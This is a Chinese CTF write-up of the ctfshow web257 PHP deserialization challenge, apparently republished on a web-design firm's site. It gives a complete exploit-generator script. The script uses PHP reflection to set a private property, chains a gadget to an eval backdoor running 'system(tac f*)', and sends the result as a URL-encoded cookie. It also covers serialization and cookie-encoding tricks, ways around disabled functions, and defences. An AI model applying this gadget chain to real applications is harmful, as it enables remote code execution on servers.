尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
PHP反序列化中使用反射绕过私有属性
以ctfshow的web257为灵感反射Reflection是 PHP 提供的一套“在运行时查看、操作类内部结构”的官方 API类作用ReflectionClass类名、父类、接口、属性列表、方法列表创建实例newInstanceWithoutConstructor()ReflectionProperty读写属性包括 private/protectedsetAccessible()、getValue()、setValue()ReflectionMethod调用方法包括 privateinvoke()、invokeArgs()ReflectionFunction/ReflectionParameter函数、参数、默认值、类型ReflectionAttributePHP 8 的 Attribute注解这里以ctfshow的web257为例源代码?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-12-02 17:44:47 # Last Modified by: h1xa # Last Modified time: 2020-12-02 20:33:07 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $usernamexxxxxx; private $passwordxxxxxx; private $isVipfalse; private $class info; public function __construct(){ $this-classnew info(); } public function login($u,$p){ return $this-username$u$this-password$p; } public function __destruct(){ $this-class-getInfo(); } } class info{//info类 正常类 private $userxxxxxx; public function getInfo(){ return $this-user; } } class backDoor{ private $code; public function getInfo(){ eval($this-code);//这里有eval可以执行PHP代码 所以需要想办法触发getinfo } } $username$_GET[username]; $password$_GET[password]; if(isset($username) isset($password)){ $user unserialize($_COOKIE[user]); $user-login($username,$password); }?php class ctfShowUser{ private $usernamea; private $passwordb; private $isVipfalse; private $class; public function __destruct(){ $this-class-getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this-code); } } $anew ctfShowUser(); $bnew backDoor(); $a-class$b;//这个地方会报错 $b-codesystem(tac f*);; echo serialize($a); ?本来想尝试这种做法 在最后统一串起来 但是由于class被设置为私有属性不能额外调用然后询问AI得知可以使用反射绕过私有属性故开始尝试最终得到?php class ctfShowUser{ private $usernamea; private $passwordb; private $isVipfalse; private $class; public function login($u,$p){ return $this-username$u$this-password$p; } public function __destruct(){ $this-class-getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this-code); } } $anew ctfShowUser(); $bnew backDoor(); $b-code system(tac f*);; // 反射修改私有属性 $ref new ReflectionClass($a); $prop $ref-getProperty(class); $prop-setValue($a,$b); $ser serialize($a); echo 序列化后.$ser.\n; echo url编码后.urlencode($ser); ?将得到url编码后的内容放到cookie里 再传username和password的参 即可得到flag变量类型作用$refReflectionClass对象ctfShowUser这个类的“说明书 操作手柄”$propReflectionProperty对象ctfShowUser::$class这个属性槽的句柄$serstringserialize($a)得到的序列化字符串$ref 类的反射对象$ref-getName(); // 类名 $ref-getProperties(); // 所有属性含 private $ref-getMethods(); // 所有方法 $ref-getConstructor(); // 构造函数 $ref-newInstanceWithoutConstructor(); // 不走构造函数创建实例$prop 属性的反射对象$prop $ref-getProperty(class); $prop-setValue($a, $b);getProperty(class)返回一个ReflectionProperty代表ctfShowUser::$class这个槽位setValue($a, $b)把$b写进$a-class$ser 序列化结果普通字符串内容是整个对象图包括私有属性扩充的知识点反射家族ReflectionClass、ReflectionProperty、ReflectionMethod、ReflectionFunction、ReflectionParameter、PHP 8 的ReflectionAttribute。框架的依赖注入、ORM、PHPUnit 都靠它们。setAccessible()的历史PHP 8.1 起是空操作之前必须显式打开读 private 属性也一样。newInstanceWithoutConstructor()跳过构造函数避免构造函数里的副作用重置属性、连数据库、抛异常。这是真实 gadget 链脚本里最常用的 API 之一。ReflectionObject专门针对对象的反射类ReflectionClass的子类传对象时两者都能用。序列化格式细节O:类名长度:类名:属性个数:{...}、s:字节长度:值;、private 的\0类名\0属性、protected 的\0*\0属性长度按字节算属性个数只数实际写进去的。自定义序列化__sleep()/__serialize()控制“序列化哪些属性”__wakeup()/__unserialize()在反序列化时触发这道题没有但真实链子里常见。unserialize()的第二个参数[allowed_classes [...]]白名单不存在的类会变成__PHP_Incomplete_Class。Cookie 传输urlencodevsrawurlencode、%00、双重编码%2500、;会截断 Cookie、NUL 在浏览器里不可见。对象生命周期__destruct()在脚本结束或对象释放时触发生成脚本里保留析构方法会在本地执行一次命令。本地生成 vs 服务端利用反射跑在你的生成脚本里靶机只执行unserialize()。unserialize()本身就不受可见性限制所以私有属性在它面前不是防线。危险函数eval、system、shell_exec、passthru靶场常见disable_functions会禁用其中一部分system不行就换shell_exec反之亦然。防御不要unserialize()用户输入用json_decode()必须反序列化时用allowed_classes白名单 HMAC 签名不要把eval放进__destruct()。
RELATED

相关推荐

大话硬件知识库是什么?

大话硬件知识库是什么?

大家好,这里是大话硬件。 在上周文章大话硬件知识库上线:我写过的、读过的、踩过的坑发出后,后台收到了一些同学的私信,也有很多人选择加入到大话硬件知识库中。但是在和他们沟通过程中,发现存在一些问题,今天这篇文章再给大家介绍一下博主搭建的知识库。 1、知识库使用…

📅 2026/10/30 9:56:44
eWebEditor 11.0中文商业版部署与Word导入实战指南

eWebEditor 11.0中文商业版部署与Word导入实战指南

简介:eWebEditor 11.0 中文商业版是一套基于 ASP.NET 的所见即所得网页编辑器,适用于需要在网站后台、内容管理系统或自定义发布平台中集成富文本编辑功能的开发者。该版本内置 Word 导入工具,可直接将本地文档内容粘贴或上传到编辑区&#x…

📅 2026/10/30 9:56:44
MATLAB非线性方程组求解方法与fsolve收敛失败排查

MATLAB非线性方程组求解方法与fsolve收敛失败排查

简介:面向数值计算、科学计算与数学建模学习者的一套 MATLAB 非线性方程组求解代码合集,聚焦多元非线性方程组的求根与迭代算法实现。内容涵盖不动点迭代、牛顿法、离散牛顿法、牛顿-SOR 与牛顿下山法、两点割线法、拟牛顿类(对称秩1、D-F-P、…

📅 2026/10/30 9:56:44
MORE NEWS

更多资讯

📰

SQL Server实时性能跟踪:用Extended Events捕获每条SQL执行细节

简介:本资源是一款面向SQL Server数据库管理员与开发者的轻量级数据库跟踪实践工具包,聚焦性能分析、SQL语句审计与结构逆向工程等核心场景,助力用户快速定位慢查询、排查数据异常及补全缺失的数据库设计文档。压缩包共28个文件,7…

📰

MATLAB手写在线字典学习:稀疏编码与坐标下降实战解析

简介:一份基于MATLAB的在线字典学习代码,主要面向机器学习初学者和需要处理流式数据的研究人员。代码包内含五个文件,包括一个数据文件与四个M代码文件,其中三个核心函数分别负责字典更新、代价计算与主流程控制,另有演…

📰

InST Windows10 可执行版本:从源码到开箱即用的打包指南

简介:本资源是InST(Inversion-Based Style Transfer with Diffusion Models)的Windows 10可执行版本,面向从事风格迁移、扩散模型研究的深度学习开发者与爱好者,帮助其在Windows环境下复现基于反演的风格迁移效果&…

📰

贝叶斯分类Matlab源码解析:带GUI的朴素贝叶斯完整实现

简介:贝叶斯分类的Matlab实现包,面向机器学习初学者与需要快速搭建分类界面的开发者,以概率统计为理论基础,解决数据分类建模与GUI交互操作问题。代码覆盖朴素贝叶斯分类完整流程:数据清洗、训练/测试划分、参数估计、…

📰

字母数字压缩包密码解密工具7-ZIP版支持rar/zip/7z

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

ESP32 FreeRTOS实战:任务创建、通信与双核调度详解

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬